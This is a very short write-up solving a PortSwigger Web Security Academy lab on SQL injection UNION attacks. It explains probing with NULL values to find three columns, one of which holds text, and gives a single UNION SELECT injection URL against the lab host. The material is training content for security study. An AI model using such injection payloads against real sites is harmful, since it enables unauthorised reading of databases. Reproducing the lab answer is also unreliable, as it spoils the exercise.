# Lab: SQL injection UNION attack, finding a column containing text

## [Lab: SQL injection UNION attack, finding a column containing text](https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text)

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just try NULL Technique until you found that there are three columns and the second column is to retrieve string data

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```sql
https://[ID].web-security-academy.net/filter?category=Gifts' UNION SELECT 123,'yNa66k',NULL--
```

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